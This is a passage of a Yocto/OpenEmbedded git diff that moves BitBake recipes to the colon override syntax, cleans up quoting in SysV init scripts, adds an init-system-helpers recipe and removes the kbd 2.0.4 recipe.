SRC_URI = "file://init-install-testfs.sh"
-RDEPENDS_${PN} = "grub parted e2fsprogs-mke2fs"
+RDEPENDS:${PN} = "grub parted e2fsprogs-mke2fs"
S = "${WORKDIR}"
@@ -12,5 +12,5 @@ do_install() {
}
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install.sh "
+FILES:${PN} = " /install.sh "
COMPATIBLE_HOST = "(i.86|x86_64).*-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
index 48fc0c4a76..674d49ecdf 100644
--- a/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-live-install_1.0.bb
@@ -7,8 +7,8 @@ PR = "r9"
S = "${WORKDIR}"
-RDEPENDS_${PN} = "grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
do_install() {
install -m 0755 ${WORKDIR}/init-install.sh ${D}/install.sh
@@ -20,6 +20,6 @@ do_install() {
#inherit allarch
INHIBIT_DEFAULT_DEPS = "1"
-FILES_${PN} = " /install.sh "
+FILES:${PN} = " /install.sh "
COMPATIBLE_HOST = "(i.86.*|x86_64.*|aarch64.*)-linux"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
index 523138cff3..fb19484555 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-install-efi_1.0.bb
@@ -1,8 +1,8 @@
SUMMARY = "initramfs-framework module for EFI installation option"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "initramfs-framework-base parted e2fsprogs-mke2fs dosfstools util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
PR = "r4"
@@ -15,4 +15,4 @@ do_install() {
install -m 0755 ${WORKDIR}/init-install-efi.sh ${D}/init.d/install-efi.sh
}
-FILES_${PN} = "/init.d/install-efi.sh"
+FILES:${PN} = "/init.d/install-efi.sh"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
index 56898e824f..4d48d54e9e 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-install_1.0.bb
@@ -1,13 +1,13 @@
SUMMARY = "initramfs-framework module for installation option"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
-RRECOMMENDS_${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
+RDEPENDS:${PN} = "initramfs-framework-base grub parted e2fsprogs-mke2fs util-linux-blkid ${VIRTUAL-RUNTIME_base-utils}"
+RRECOMMENDS:${PN} = "${VIRTUAL-RUNTIME_base-utils-syslog}"
# The same restriction as grub
COMPATIBLE_HOST = '(x86_64.*|i.86.*|arm.*|aarch64.*)-(linux.*|freebsd.*)'
-COMPATIBLE_HOST_armv7a = 'null'
-COMPATIBLE_HOST_armv7ve = 'null'
+COMPATIBLE_HOST:armv7a = 'null'
+COMPATIBLE_HOST:armv7ve = 'null'
PR = "r1"
@@ -20,4 +20,4 @@ do_install() {
install -m 0755 ${WORKDIR}/init-install.sh ${D}/init.d/install.sh
}
-FILES_${PN} = "/init.d/install.sh"
+FILES:${PN} = "/init.d/install.sh"
diff --git a/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb b/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
index 4d2fe9dd2b..d8ce024b83 100644
--- a/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
+++ b/meta/recipes-core/initrdscripts/initramfs-module-setup-live_1.0.bb
@@ -1,13 +1,13 @@
SUMMARY = "initramfs-framework module for live booting"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-RDEPENDS_${PN} = "initramfs-framework-base udev-extraconf"
+RDEPENDS:${PN} = "initramfs-framework-base udev-extraconf"
PR = "r4"
inherit allarch
-FILESEXTRAPATHS_prepend := "${THISDIR}/initramfs-framework:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/initramfs-framework:"
SRC_URI = "file://setup-live"
S = "${WORKDIR}"
@@ -17,4 +17,4 @@ do_install() {
install -m 0755 ${WORKDIR}/setup-live ${D}/init.d/80-setup-live
}
-FILES_${PN} = "/init.d/80-setup-live"
+FILES:${PN} = "/init.d/80-setup-live"
diff --git a/meta/recipes-core/initscripts/init-system-helpers_1.62.bb b/meta/recipes-core/initscripts/init-system-helpers_1.62.bb
new file mode 100644
index 0000000000..d5c05ff8e5
--- /dev/null
+++ b/meta/recipes-core/initscripts/init-system-helpers_1.62.bb
@@ -0,0 +1,41 @@
+SUMMARY = "helper tools for all init systems"
+DESCRIPTION = "This package contains helper tools that are necessary for switching between \
+the various init systems that Debian contains (e. g. sysvinit or \
+systemd). An example is deb-systemd-helper, a script that enables systemd unit \
+files without depending on a running systemd. \
+\
+It also includes the \"service\", \"invoke-rc.d\", and \"update-rc.d\" scripts which \
+provide an abstraction for enabling, disabling, starting, and stopping \
+services for all supported Debian init systems as specified by the policy. \
+\
+While this package is maintained by pkg-systemd-maintainers, it is NOT \
+specific to systemd at all. Maintainers of other init systems are welcome to \
+include their helpers in this package."
+HOMEPAGE = "https://salsa.debian.org/debian/init-system-helpers"
+SECTION = "base"
+LICENSE = "BSD-3-Clause & GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=ee2b1830fcfead84d07bc060ec43e072"
+
+SRCREV = "bbe4b508f3216cdc124683ba449e2295974a6b4a"
+SRC_URI = "git://salsa.debian.org/debian/init-system-helpers.git;protocol=https;branch=master"
+
+S = "${WORKDIR}/git"
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install() {
+ install -d -m 0755 ${D}${sbindir}
+ install -m 0755 ${S}/script/invoke-rc.d ${D}${sbindir}
+ install -m 0755 ${S}/script/service ${D}${sbindir}
+}
+
+PACKAGES += "${PN}-invoke-rc.d ${PN}-service"
+
+FILES:${PN} = ""
+FILES:${PN}-invoke-rc.d = "${sbindir}/invoke-rc.d"
+FILES:${PN}-service = "${sbindir}/service"
+
+ALLOW_EMPTY:${PN} = "1"
+
+RRECOMMENDS:${PN} += "${PN}-invoke-rc.d ${PN}-service"
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh b/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
index 02f0351fcb..a63e71b780 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/checkroot.sh
@@ -74,7 +74,7 @@ test "$VERBOSE" != no && echo "Activating swap"
#
# Check the root filesystem.
#
-if test -f /fastboot || test $rootcheck = no
+if test -f /fastboot || test "$rootcheck" = "no"
then
test $rootcheck = yes && echo "Fast boot, no filesystem check"
else
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh b/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
index c719be5d9a..2839d57cbe 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/mountall.sh
@@ -19,15 +19,21 @@
test "$VERBOSE" != no && echo "Mounting local filesystems..."
mount -at nonfs,nosmbfs,noncpfs 2>/dev/null
-#
-# We might have mounted something over /dev, see if /dev/initctl is there.
-#
-if test ! -p /dev/initctl
-then
- rm -f /dev/initctl
- mknod -m 600 /dev/initctl p
+
+# We might have mounted something over /run; see if
+# /dev/initctl is present. Look for
+# /sbin/init.sysvinit to verify that sysvinit (and
+# not busybox or systemd) is installed as default init).
+INITCTL="/dev/initctl"
+if [ ! -p "$INITCTL" ] && [ "${INIT_SYSTEM}" = "sysvinit" ]; then
+ # Create new control channel
+ rm -f "$INITCTL"
+ mknod -m 600 "$INITCTL" p
+
+ # Reopen control channel.
+ PID="$(pidof -s /sbin/init || echo 1)"
+ [ -n "$PID" ] && kill -s USR1 "$PID"
fi
-kill -USR1 1
#
# Execute swapon command again, in case we want to swap to
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh b/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
index 1c525b71bd..b56b72f833 100755
--- a/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/populate-volatile.sh
@@ -9,10 +9,10 @@
### END INIT INFO
# Get ROOT_DIR
-DIRNAME=`dirname $0`
-ROOT_DIR=`echo $DIRNAME | sed -ne 's:/etc/.*::p'`
+DIRNAME="$(dirname "$0")"
+ROOT_DIR="$(echo "$DIRNAME" | sed -ne 's:/etc/.*::p')"
-[ -e ${ROOT_DIR}/etc/default/rcS ] && . ${ROOT_DIR}/etc/default/rcS
+[ -e "${ROOT_DIR}/etc/default/rcS" ] && . "${ROOT_DIR}/etc/default/rcS"
# When running populate-volatile.sh at rootfs time, disable cache.
[ -n "$ROOT_DIR" ] && VOLATILE_ENABLE_CACHE=no
# If rootfs is read-only, disable cache.
@@ -26,55 +26,55 @@ COREDEF="00_core"
create_file() {
EXEC=""
- [ -z "$2" ] && {
+ if [ -z "$2" ]; then
EXEC="
touch \"$1\";
"
- } || {
+ else
EXEC="
cp \"$2\" \"$1\";
"
- }
+ fi
EXEC="
${EXEC}
- chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\" >/dev/tty0 2>&1;
- chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" >/dev/tty0 2>&1 "
+ chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\";
+ chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" "
test "$VOLATILE_ENABLE_CACHE" = yes && echo "$EXEC" >> /etc/volatile.cache.build
- [ -e "$1" ] && {
+ if [ -e "$1" ]; then
[ "${VERBOSE}" != "no" ] && echo "Target already exists. Skipping."
- } || {
+ else
if [ -z "$ROOT_DIR" ]; then
- eval $EXEC
+ eval "$EXEC"
else
# Creating some files at rootfs time may fail and should fail,
# but these failures should not be logged to make sure the do_rootfs
# process doesn't fail. This does no harm, as this script will
# run on target to set up the correct files and directories.
- eval $EXEC > /dev/null 2>&1
+ eval "$EXEC" > /dev/null 2>&1
fi
- }
+ fi
}
mk_dir() {
EXEC="
mkdir -p \"$1\";
- chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\" >/dev/tty0 2>&1;
- chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" >/dev/tty0 2>&1 "
+ chown ${TUSER}:${TGROUP} $1 || echo \"Failed to set owner -${TUSER}- for -$1-.\";
+ chmod ${TMODE} $1 || echo \"Failed to set mode -${TMODE}- for -$1-.\" "
test "$VOLATILE_ENABLE_CACHE" = yes && echo "$EXEC" >> /etc/volatile.cache.build
- [ -e "$1" ] && {
+ if [ -e "$1" ]; then
[ "${VERBOSE}" != "no" ] && echo "Target already exists. Skipping."
- } || {
+ else
if [ -z "$ROOT_DIR" ]; then
- eval $EXEC
+ eval "$EXEC"
else
# For the same reason with create_file(), failures should
# not be logged.
- eval $EXEC > /dev/null 2>&1
+ eval "$EXEC" > /dev/null 2>&1
fi
- }
+ fi
}
link_file() {
@@ -96,11 +96,11 @@ link_file() {
test "$VOLATILE_ENABLE_CACHE" = yes && echo " $EXEC" >> /etc/volatile.cache.build
if [ -z "$ROOT_DIR" ]; then
- eval $EXEC
+ eval "$EXEC"
else
# For the same reason with create_file(), failures should
# not be logged.
- eval $EXEC > /dev/null 2>&1
+ eval "$EXEC" > /dev/null 2>&1
fi
}
@@ -117,11 +117,11 @@ check_requirements() {
TMP_DEFINED="${TMPROOT}/tmpdefined.$$"
TMP_COMBINED="${TMPROOT}/tmpcombined.$$"
- sed 's@\(^:\)*:.*@\1@' ${ROOT_DIR}/etc/passwd | sort | uniq > "${TMP_DEFINED}"
- cat ${CFGFILE} | grep -v "^#" | cut -s -d " " -f 2 > "${TMP_INTERMED}"
+ sed 's@\(^:\)*:.*@\1@' "${ROOT_DIR}/etc/passwd" | sort | uniq > "${TMP_DEFINED}"
+ grep -v "^#" "${CFGFILE}" | cut -s -d " " -f 2 > "${TMP_INTERMED}"
cat "${TMP_DEFINED}" "${TMP_INTERMED}" | sort | uniq > "${TMP_COMBINED}"
- NR_DEFINED_USERS="`cat "${TMP_DEFINED}" | wc -l`"
- NR_COMBINED_USERS="`cat "${TMP_COMBINED}" | wc -l`"
+ NR_DEFINED_USERS="$(wc -l < "${TMP_DEFINED}")"
+ NR_COMBINED_USERS="$(wc -l < "${TMP_COMBINED}")"
[ "${NR_DEFINED_USERS}" -ne "${NR_COMBINED_USERS}" ] && {
echo "Undefined users:"
@@ -131,12 +131,12 @@ check_requirements() {
}
- sed 's@\(^:\)*:.*@\1@' ${ROOT_DIR}/etc/group | sort | uniq > "${TMP_DEFINED}"
- cat ${CFGFILE} | grep -v "^#" | cut -s -d " " -f 3 > "${TMP_INTERMED}"
+ sed 's@\(^:\)*:.*@\1@' "${ROOT_DIR}/etc/group" | sort | uniq > "${TMP_DEFINED}"
+ grep -v "^#" "${CFGFILE}" | cut -s -d " " -f 3 > "${TMP_INTERMED}"
cat "${TMP_DEFINED}" "${TMP_INTERMED}" | sort | uniq > "${TMP_COMBINED}"
- NR_DEFINED_GROUPS="`cat "${TMP_DEFINED}" | wc -l`"
- NR_COMBINED_GROUPS="`cat "${TMP_COMBINED}" | wc -l`"
+ NR_DEFINED_GROUPS="$(wc -l < "${TMP_DEFINED}")"
+ NR_COMBINED_GROUPS="$(wc -l < "${TMP_COMBINED}")"
[ "${NR_DEFINED_GROUPS}" -ne "${NR_COMBINED_GROUPS}" ] && {
echo "Undefined groups:"
@@ -157,13 +157,13 @@ apply_cfgfile() {
[ "${VERBOSE}" != "no" ] && echo "Applying ${CFGFILE}"
- [ "${SKIP_REQUIREMENTS}" == "yes" ] || check_requirements "${CFGFILE}" || {
+ [ "${SKIP_REQUIREMENTS}" = "yes" ] || check_requirements "${CFGFILE}" || {
echo "Skipping ${CFGFILE}"
return 1
}
- cat ${CFGFILE} | sed 's/#.*//' | \
- while read TTYPE TUSER TGROUP TMODE TNAME TLTARGET; do
+ sed 's/#.*//' "${CFGFILE}" | \
+ while read -r TTYPE TUSER TGROUP TMODE TNAME TLTARGET; do
test -z "${TLTARGET}" && continue
TNAME=${ROOT_DIR}${TNAME}
[ "${VERBOSE}" != "no" ] && echo "Checking for -${TNAME}-."
@@ -187,21 +187,21 @@ apply_cfgfile() {
[ -L "${TNAME}" ] && {
[ "${VERBOSE}" != "no" ] && echo "Found link."
- NEWNAME=`ls -l "${TNAME}" | sed -e 's/^.*-> \(.*\)$/\1/'`
- echo ${NEWNAME} | grep -v "^/" >/dev/null && {
- TNAME="`echo ${TNAME} | sed -e 's@\(.*\)/.*@\1@'`/${NEWNAME}"
+ NEWNAME=$(ls -l "${TNAME}" | sed -e 's/^.*-> \(.*\)$/\1/')
+ if echo "${NEWNAME}" | grep -v "^/" >/dev/null; then
+ TNAME="$(echo "${TNAME}" | sed -e 's@\(.*\)/.*@\1@')/${NEWNAME}"
[ "${VERBOSE}" != "no" ] && echo "Converted relative linktarget to absolute path -${TNAME}-."
- } || {
+ else
TNAME="${NEWNAME}"
[ "${VERBOSE}" != "no" ] && echo "Using absolute link target -${TNAME}-."
- }
+ fi
}
case "${TTYPE}" in
"f") [ "${VERBOSE}" != "no" ] && echo "Creating file -${TNAME}-."
TSOURCE="$TLTARGET"
[ "${TSOURCE}" = "none" ] && TSOURCE=""
- create_file "${TNAME}" "${TSOURCE}" &
+ create_file "${TNAME}" "${TSOURCE}"
;;
"d") [ "${VERBOSE}" != "no" ] && echo "Creating directory -${TNAME}-."
mk_dir "${TNAME}"
@@ -217,7 +217,7 @@ apply_cfgfile() {
clearcache=0
exec 9</proc/cmdline
-while read line <&9
+while read -r line <&9
do
case "$line" in
*clearcache*) clearcache=1
@@ -228,11 +228,11 @@ do
done
exec 9>&-
-if test -e ${ROOT_DIR}/etc/volatile.cache -a "$VOLATILE_ENABLE_CACHE" = "yes" -a "x$1" != "xupdate" -a "x$clearcache" = "x0"
+if test -e "${ROOT_DIR}/etc/volatile.cache" -a "$VOLATILE_ENABLE_CACHE" = "yes" -a "x$1" != "xupdate" -a "x$clearcache" = "x0"
then
- sh ${ROOT_DIR}/etc/volatile.cache
+ sh "${ROOT_DIR}/etc/volatile.cache"
else
- rm -f ${ROOT_DIR}/etc/volatile.cache ${ROOT_DIR}/etc/volatile.cache.build
+ rm -f "${ROOT_DIR}/etc/volatile.cache" "${ROOT_DIR}/etc/volatile.cache.build"
# Apply the core file with out checking requirements. ${TMPROOT} is
# needed by check_requirements but is setup by this file, so it must be
@@ -246,7 +246,7 @@ else
TMP_FILE="${TMPROOT}/tmp_volatile.$$"
rm -f "$TMP_FILE"
- CFGFILES="`ls -1 "${CFGDIR}" | grep -v "^${COREDEF}\$" | sort`"
+ CFGFILES="$(ls -1 "${CFGDIR}" | grep -v "^${COREDEF}\$" | sort)"
for file in ${CFGFILES}; do
cat "${CFGDIR}/${file}" >> "$TMP_FILE"
done
@@ -264,7 +264,7 @@ else
fi
rm "$TMP_FILE"
- [ -e ${ROOT_DIR}/etc/volatile.cache.build ] && sync && mv ${ROOT_DIR}/etc/volatile.cache.build ${ROOT_DIR}/etc/volatile.cache
+ [ -e "${ROOT_DIR}/etc/volatile.cache.build" ] && sync && mv "${ROOT_DIR}/etc/volatile.cache.build" "${ROOT_DIR}/etc/volatile.cache"
fi
if [ -z "${ROOT_DIR}" ] && [ -f /etc/ld.so.cache ] && [ ! -f /var/run/ld.so.cache ]
diff --git a/meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh b/meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh
index f5b5b9904b..4871ee94e5 100644
--- a/meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh
+++ b/meta/recipes-core/initscripts/initscripts-1.0/sysfs.sh
@@ -26,6 +26,10 @@ if [ -e /sys/kernel/config ] && grep -q configfs /proc/filesystems; then
mount -t configfs configfs /sys/kernel/config
fi
+if [ -e /sys/firmware/efi/efivars ] && grep -q efivarfs /proc/filesystems; then
+ mount -t efivarfs efivarfs /sys/firmware/efi/efivars
+fi
+
if ! [ -e /dev/zero ] && [ -e /dev ] && grep -q devtmpfs /proc/filesystems; then
mount -n -t devtmpfs devtmpfs /dev
fi
diff --git a/meta/recipes-core/initscripts/initscripts_1.0.bb b/meta/recipes-core/initscripts/initscripts_1.0.bb
index 1a59b82fbf..9429e5881d 100644
--- a/meta/recipes-core/initscripts/initscripts_1.0.bb
+++ b/meta/recipes-core/initscripts/initscripts_1.0.bb
@@ -2,7 +2,7 @@ SUMMARY = "SysV init scripts"
HOMEPAGE = "https://github.com/fedora-sysv/initscripts"
DESCRIPTION = "Initscripts provide the basic system startup initialization scripts for the system. These scripts include actions such as filesystem mounting, fsck, RTC manipulation and other actions routinely performed at system startup. In addition, the scripts are also used during system shutdown to reverse the actions performed at startup."
SECTION = "base"
-LICENSE = "GPLv2"
+LICENSE = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
PR = "r155"
@@ -39,24 +39,25 @@ SRC_URI = "file://functions \
S = "${WORKDIR}"
-SRC_URI_append_arm = " file://alignment.sh"
-SRC_URI_append_armeb = " file://alignment.sh"
+SRC_URI:append:arm = " file://alignment.sh"
+SRC_URI:append:armeb = " file://alignment.sh"
KERNEL_VERSION = ""
-DEPENDS_append = " update-rc.d-native"
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
+DEPENDS:append = " update-rc.d-native"
+PACKAGE_WRITE_DEPS:append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
PACKAGES =+ "${PN}-functions ${PN}-sushell"
-RDEPENDS_${PN} = "initd-functions \
+RDEPENDS:${PN} = "initd-functions \
${@bb.utils.contains('DISTRO_FEATURES','selinux','${PN}-sushell','',d)} \
+ init-system-helpers-service \
"
# Recommend pn-functions so that it will be a preferred default provider for initd-functions
-RRECOMMENDS_${PN} = "${PN}-functions"
-RPROVIDES_${PN}-functions = "initd-functions"
-RCONFLICTS_${PN}-functions = "lsbinitscripts"
-FILES_${PN}-functions = "${sysconfdir}/init.d/functions*"
-FILES_${PN}-sushell = "${base_sbindir}/sushell"
+RRECOMMENDS:${PN} = "${PN}-functions"
+RPROVIDES:${PN}-functions = "initd-functions"
+RCONFLICTS:${PN}-functions = "lsbinitscripts"
+FILES:${PN}-functions = "${sysconfdir}/init.d/functions*"
+FILES:${PN}-sushell = "${base_sbindir}/sushell"
HALTARGS ?= "-d -f"
@@ -105,7 +106,8 @@ do_install () {
install -m 0755 ${WORKDIR}/save-rtc.sh ${D}${sysconfdir}/init.d
install -m 0644 ${WORKDIR}/volatiles ${D}${sysconfdir}/default/volatiles/00_core
if [ ${@ oe.types.boolean('${VOLATILE_LOG_DIR}') } = True ]; then
- echo "l root root 0755 /var/log /var/volatile/log" >> ${D}${sysconfdir}/default/volatiles/00_core
+ sed -i -e '\@^d root root 0755 /var/volatile/log none$@ a\l root root 0755 /var/log /var/volatile/log' \
+ ${D}${sysconfdir}/default/volatiles/00_core
fi
install -m 0755 ${WORKDIR}/dmesg.sh ${D}${sysconfdir}/init.d
install -m 0644 ${WORKDIR}/logrotate-dmesg.conf ${D}${sysconfdir}/
@@ -135,7 +137,7 @@ do_install () {
update-rc.d -r ${D} halt start 90 0 .
update-rc.d -r ${D} save-rtc.sh start 25 0 6 .
update-rc.d -r ${D} banner.sh start 02 S .
- update-rc.d -r ${D} checkroot.sh start 06 S .
+ update-rc.d -r ${D} checkroot.sh start 05 S .
update-rc.d -r ${D} mountall.sh start 03 S .
update-rc.d -r ${D} hostname.sh start 39 S .
update-rc.d -r ${D} mountnfs.sh start 15 2 3 4 5 .
@@ -168,8 +170,8 @@ MASKED_SCRIPTS = " \
sysfs \
urandom"
-pkg_postinst_${PN} () {
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
+pkg_postinst:${PN} () {
+ if type systemctl >/dev/null 2>/dev/null; then
if [ -n "$D" ]; then
OPTS="--root=$D"
fi
@@ -184,4 +186,4 @@ pkg_postinst_${PN} () {
fi
}
-CONFFILES_${PN} += "${sysconfdir}/init.d/checkroot.sh"
+CONFFILES:${PN} += "${sysconfdir}/init.d/checkroot.sh"
diff --git a/meta/recipes-core/kbd/kbd/run-ptest b/meta/recipes-core/kbd/kbd/run-ptest
deleted file mode 100644
index 7a2d205f54..0000000000
--- a/meta/recipes-core/kbd/kbd/run-ptest
+++ /dev/null
@@ -1,4 +0,0 @@
-#!/bin/sh
-
-CURDIR=$(dirname `readlink -f $0`)
-make -k -C ${CURDIR}/tests check-TESTS
diff --git a/meta/recipes-core/kbd/kbd/set-proper-path-of-resources.patch b/meta/recipes-core/kbd/kbd/set-proper-path-of-resources.patch
deleted file mode 100644
index a9a3ab8abf..0000000000
--- a/meta/recipes-core/kbd/kbd/set-proper-path-of-resources.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-Upstream-Status: Inappropriate [embedded specific]
-
-kbd is out of source built, then the value of $(srcdir) is relative path of
-${S}/tests to ${B}/tests. Macro DATADIR is defined with $(srcdir) and replaced
-in .c files by compiler, and string @DATADIR@ is replaced with $(srdir) by rule
-"%: %.in" in Makefile.
-
-But kbd-ptest puts test cases and resource files in same directory, then some
-ptest cases fail to find resources.
-
-Replace DATADIR and @DATADIR@ with current directory(dot) to make test cases
-run as expected.
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-Index: kbd-2.0.4/tests/Makefile.am
-===================================================================
---- kbd-2.0.4.orig/tests/Makefile.am
-+++ kbd-2.0.4/tests/Makefile.am
-@@ -1,7 +1,7 @@
- AM_CPPFLAGS = \
- -I$(srcdir)/../src/libkeymap \
- -I$(builddir)/../src/libkeymap \
-- -DDATADIR=\"$(srcdir)\" -DBUILDDIR=\"$(builddir)\"
-+ -DDATADIR=\".\" -DBUILDDIR=\"$(builddir)\"
-
- AM_CFLAGS = $(CHECK_CFLAGS)
- LDADD = $(top_builddir)/src/libkeymap/libkeymap.la $(CHECK_LIBS) @INTLLIBS@
-Index: kbd-2.0.4/tests/alt-is-meta.in
-===================================================================
---- kbd-2.0.4.orig/tests/alt-is-meta.in
-+++ kbd-2.0.4/tests/alt-is-meta.in
-@@ -7,8 +7,8 @@ cd "$cwd"
- rc=0
- temp="$(mktemp "@BUILDDIR@/temp.XXXXXXXXX")"
-
--./libkeymap-showmaps "@DATADIR@"/alt-is-meta.map > "$temp" || rc=$?
--cmp -s "@DATADIR@//alt-is-meta.output" "$temp" || rc=$?
-+./libkeymap-showmaps ./alt-is-meta.map > "$temp" || rc=$?
-+cmp -s "./alt-is-meta.output" "$temp" || rc=$?
-
- if [ "$rc" != 0 ]; then
- printf 'failed\n'
-Index: kbd-2.0.4/tests/dumpkeys-fulltable.in
-===================================================================
---- kbd-2.0.4.orig/tests/dumpkeys-fulltable.in
-+++ kbd-2.0.4/tests/dumpkeys-fulltable.in
-@@ -5,7 +5,7 @@ cwd="$(readlink -ev "${0%/*}")"
- cd "$cwd"
-
- BUILDDIR="@BUILDDIR@"
--DATADIR="@DATADIR@"
-+DATADIR="."
-
- check_keymap() {
- local kmap temp rc
diff --git a/meta/recipes-core/kbd/kbd_2.0.4.bb b/meta/recipes-core/kbd/kbd_2.0.4.bb
deleted file mode 100644
index 4af3256fff..0000000000
--- a/meta/recipes-core/kbd/kbd_2.0.4.bb
+++ /dev/null
@@ -1,64 +0,0 @@
-SUMMARY = "Keytable files and keyboard utilities"
-HOMEPAGE = "http://www.kbd-project.org/"
-# everything minus console-fonts is GPLv2+
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=a5fcc36121d93e1f69d96a313078c8b5"
-
-inherit autotools gettext ptest pkgconfig
-
-RREPLACES_${PN} = "console-tools"
-RPROVIDES_${PN} = "console-tools"
-RCONFLICTS_${PN} = "console-tools"
-
-SRC_URI = "${KERNELORG_MIRROR}/linux/utils/${BPN}/${BP}.tar.xz \
- file://run-ptest \
- ${@bb.utils.contains('DISTRO_FEATURES', 'ptest', 'file://set-proper-path-of-resources.patch', '', d)} \
- "
-
-SRC_URI[md5sum] = "c1635a5a83b63aca7f97a3eab39ebaa6"
-SRC_URI[sha256sum] = "5fd90af6beb225a9bb9b9fb414c090fba53c9a55793e172f508cd43652e59a88"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)} \
- ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests','', d)} \
- "
-
-PACKAGECONFIG[pam] = "--enable-vlock, --disable-vlock, libpam,"
-PACKAGECONFIG[tests] = "--enable-tests, --disable-tests, libcheck"
-
-do_compile_ptest() {
- oe_runmake -C ${B}/tests dumpkeys-fulltable alt-is-meta
-}
-
-do_install_ptest() {
- install -D ${B}/tests/Makefile ${D}${PTEST_PATH}/tests/Makefile
- sed -i -e '/Makefile:/,/^$/d' -e '/%: %.in/,/^$/d' \
- -e 's:--sysroot=${STAGING_DIR_TARGET}::g' \
- -e 's:${DEBUG_PREFIX_MAP}::g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- -e 's:${RECIPE_SYSROOT_NATIVE}::g' \
- -e 's:${RECIPE_SYSROOT}::g' \
- -e 's:${S}/config/missing::g' \
- -e 's:${WORKDIR}::g' \
- -e '/libkeymap_.*_SOURCES =/d' -e '/$(EXEEXT):/,/^$/d' ${D}${PTEST_PATH}/tests/Makefile
-
- find ${B}/tests -executable -exec install {} ${D}${PTEST_PATH}/tests \;
- find ${S}/tests \( -name \*.map -o -name \*.bin -o -name \*.output \) -exec install {} ${D}${PTEST_PATH}/tests \;
-
- install -D -m 755 ${S}/config/test-driver ${D}${PTEST_PATH}/config/test-driver
-}
-
-PACKAGES += "${PN}-consolefonts ${PN}-keymaps ${PN}-unimaps ${PN}-consoletrans"
-
-FILES_${PN}-consolefonts = "${datadir}/consolefonts"
-FILES_${PN}-consoletrans = "${datadir}/consoletrans"
-FILES_${PN}-keymaps = "${datadir}/keymaps"
-FILES_${PN}-unimaps = "${datadir}/unimaps"
-
